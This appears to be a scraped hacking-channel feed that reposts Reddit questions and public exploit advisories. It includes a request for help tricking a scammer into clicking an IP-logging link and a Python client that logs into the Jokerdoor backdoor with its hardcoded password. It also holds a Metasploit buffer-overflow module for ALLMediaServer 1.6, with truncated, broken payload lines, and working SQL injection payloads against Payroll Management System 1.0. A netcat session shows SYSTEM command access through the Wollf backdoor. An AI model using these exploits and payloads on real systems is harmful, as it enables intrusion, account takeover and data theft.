Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
what does it mean when a website login swaps ' with a /

So out of habit i check every login screen with ' idk why i do this but I do it on every login page. the other day after typing ' into the login in bar and pressing login the initial ' that i wrote was then rewritten to /'

what does that mean?

submitted by /u/Yourgrannotranno
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

what does it mean when a website login swaps ' with a /

So out of habit i check every login screen with ' idk why i do this but I do it on every login page. the other day after typing ' into the login...

4 viewsedited 16:13

hacking: security in practice
Social Engineering to log IP?

I have very minimal knowledge on the subject matter of this subreddit. I was wondering if someone could suggest a way to navigate this situation. One of my best friends made a poor decision and fell for a facebook scam and now the scammer has control of his profile. They log in daily using photos of his children and family to try and scam more people. It's been going on months now, him, me, friends, family - a ton of people have reached out to Facebook yet the profile has remained. The fact they are exploiting his children really bothers me and since facebook won't shut it down I want to try and at least spook the scammer. I've began to engage with daily conversations with them and their guard is down on me. I was going to try and just get their IP, locate at least where they are hosted out of and try and use that to maybe spook them from continuing with his profile. It's clearly a very easily manipulated and unintelligent person from my convos. I know if I send an IPlog through Messenger it I'll just get the facebook server and plus I think facebook catchs those links now anyways. I was curious if anyone had an idea how through social engineering I can get the person to direct connect to me or click an IPlog link outside of facebook. Regardless of if this works, it's fun for me too.

submitted by /u/Poo_Panther
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Social Engineering to log IP?

I have very minimal knowledge on the subject matter of this subreddit. I was wondering if someone could suggest a way to navigate this situation....

4 viewsedited 16:13

Hacking Articles Tips Tricks Videos Tutorials

6 views16:13

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Break The Code 2.0

https://btc2.tech/cRa3QN

submitted by /u/moonsoil
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Break The Code 2.0

[https://btc2.tech/cRa3QN](https://btc2.tech/cRa3QN)

8 viewsedited 16:13

Hacking Articles Tips Tricks Videos Tutorials

7 views17:00

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Backdoor.Win32.Jokerdoor Hardcoded Credential

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Backdoor.Win32.Jokerdoor malware suffers from a hardcoded credential vulnerability.

MD5 | ba62df2bcde07584c4133320450d7f09

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/a6437375fff871dff97dc91c8fd6259f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Weak Hardcoded Credentials
Family: Jokerdoor
Type: PE32
MD5: a6437375fff871dff97dc91c8fd6259f
Vuln ID: MVID-2022-0531
Dropped files: Random name "awup.exe"
Disclosure: 04/02/2022
Description: The malware listens on TCP port 27374. The password "mathiasJ" is weak and hardcoded in the PE file. Failed authentication generates a "POPUP incorrect password..." message, using TELNET results in an error "PWDPerror reading password..." Using Nc64.exe utility results in a trailing line feed character "\n" after the supplied password. This causes the cmp statement check to fail even if the password is correct due to the "\n" character.

004BDA0C | 8B 45 EC                 | mov eax,dword ptr ss:[ebp-14]           | [ebp-14]:" mathiasJ\n"
004BDA0F | 8B 15 0C AC 4D 00        | mov edx,dword ptr ds:[4DAC0C]           | 004DAC0C:&"mathiasJ"
004041C7 | 39 D0                    | cmp eax,edx                             | eax" mathiasJ\n", edx"mathiasJ"

So we will need to write a custom client ourselves. The password must also be sent with no space and prefixed with "PWD" E.g. "PWDmathiasJ". Upon successful authentication we get a message e.g. "PWDconnected time, date Legends 2.1". 

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=27374

def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
time.sleep(1)

PAYLOAD="PWDmathiasJ"
s.send(PAYLOAD)

time.sleep(1)
print(chk_res(s))
s.close()

if __name__=="__main__":
doit()
print("Malvuln")
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Backdoor.Win32.Jokerdoor Hardcoded Credential

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:01

Hacking Articles Tips Tricks Videos Tutorials

5 views17:01

Hacking Articles Tips Tricks Videos Tutorials

6 views17:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
ALLMediaServer 1.6 Buffer Overflow

https://3.bp.blogspot.com/-p2bRUn4ag8U/WWlvPJDaCwI/AAAAAAAAIMw/gkQGiTtaXucRRVbpvBkwiWIbJMO4BFlLwCLcBGAs/s1600/h28.png
This Metasploit module exploits a stack buffer overflow in ALLMediaServer version 1.6. The vulnerability is caused due to a boundary error within the handling of HTTP request.

MD5 | 61fcfaad6e71b0e3655c316038732c1b

Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Author: Hejap Zairy
# Date: 1.08.2022
# Exploit Prof
# Proof and Exploit:
#image:https://i.imgur.com/yLrRR2t.png
#video:https://streamable.com/x4i50c
require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name'           => 'ALLMediaServer 1.6  Buffer Overflow',
'Description'    => %q{
This module exploits a stack buffer overflow in ALLMediaServer 1.6
The vulnerability is caused due to a boundary error within the
handling of HTTP request.
Thank you Saud Alenazi and 0xSaudi 
and Muhammad Al Ahmadi and all the friends in Tuwaiq i Love Tuwaiq
},
'License'        => MSF_LICENSE,
'Author'         =>
[
'Hejap Zairy Al-Sharif', # Remote exploit and Metasploit module
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
},
'Platform'       => 'win',
'Payload'        =>
{
'BadChars' => '\x00\x0a\x0d\xff' 
},

'Targets'        =>
[
[ 'ALLMediaServer 1.6 / Windows 10  - English',
{
'Ret'       =>   0x0040590B, # POP ESI # POP EBX  # RET 
'Offset'    =>   1072
}
],
[ 'ALLMediaServer 1.6 / Windows XP SP3 - English',
{
'Ret'       =>   0x0040590B, # POP ESI # POP EBX  # RET 
'Offset'    =>   1072
}
],
[ 'ALLMediaServer 1.6 / Windows 7 SP1 - English',
{
'Ret'       =>   0x0040590B, # POP ESI # POP EBX  # RET 
'Offset'    =>   1072
}
],
],
'Privileged'     => false,
'DisclosureDate' => 'Apr 1 2022',
'DefaultTarget'  => 1))

register_options([Opt::RPORT(888)], self.class)

end

def exploit
connect
buffer = ""
buffer <<
buffer <<
buffer <<
buffer <<
buffer <<
buffer <<
print_status("Sending payload ... \n Exploit MediaServer")
sock.put(buffer)
handler
disconnect
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

ALLMediaServer 1.6 Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 17:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Payroll Management System 1.0 SQL Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Payroll Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 5d92529eb6880b2dfb38b7ae251db0fe

Download

## Title: Payroll Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 04.03.2022
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System

## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=qkdmZlGW' AND (SELECT 3371 FROM(SELECT
COUNT(*),CONCAT(0x716b707871,(SELECT
(ELT(3371=3371,1))),0x717a7a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VIhP&password=s0N!s2u!A6'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=qkdmZlGW' AND (SELECT 9476 FROM
(SELECT(SLEEP(5)))NodP)-- Xiww&password=s0N!s2u!A6'
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System)

## Proof and Exploit:
[href](https://streamable.com/aj8bcv)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Payroll Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:01

Hacking Articles Tips Tricks Videos Tutorials

5 views17:01

Hacking Articles Tips Tricks Videos Tutorials

5 views17:01

Hacking Articles Tips Tricks Videos Tutorials

5 views17:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Backdoor.Win32.Wollf.h Remote Command Execution

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png Backdoor.Win32.Wollf.h malware suffers from a remote command execution vulnerability.

MD5 | 50cddc6668841cff4b5793d46643e9b5Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/867c6b432ccd4aa51adc5e2722a4b144.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware runs with SYSTEM integrity and listens on TCP port 7614. Third-party adversaries who can reach an infected host can run commands made available by the backdoor.
Family: Wollf
Type: PE32
MD5: 867c6b432ccd4aa51adc5e2722a4b144
Vuln ID: MVID-2022-0530
Dropped files: wrm.exe
Disclosure: 04/02/2022

Exploit/PoC:
c:\>nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#help

DOS                  Switch to MS-DOS prompt
DIR/LS/LIST          Directory and file list
CD                   Entry directory
MD/MKDIR             Make directory
PWD                  Get current dirctory
COPY/CP              Copy file
DEL/RM               Delete directory/file
REN/RENAME           Rename file
MOVE/MV              Move file
TYPE/CAT             Type text file

POPMSG               Popup message box
SYSINFO              Get system information
WHO/W                Get current connections

SHELL                Execute command by system shell(cmd.exe)
EXEC/RUN             Execute file by windows API(WinExec)
WS                   Windows list
PS                   Process list
KILL                 Kill process

GET/GETFILE          Download file from remote machine
PUT/PUTFILE          Upload file to remote machine
WGET                 Get file from web server
FGET                 Get file from ftp server
FPUT                 Put file to ftp server
TELNET               Connect to other host

FTPD                 Start ftp service
TELNETD/TELD/EXPORT  Start telnet service (export shell)

REDIR                Redirect tcp data from

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Backdoor.Win32.Wollf.h Remote Command Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:01

About

Blog

Apps

Platform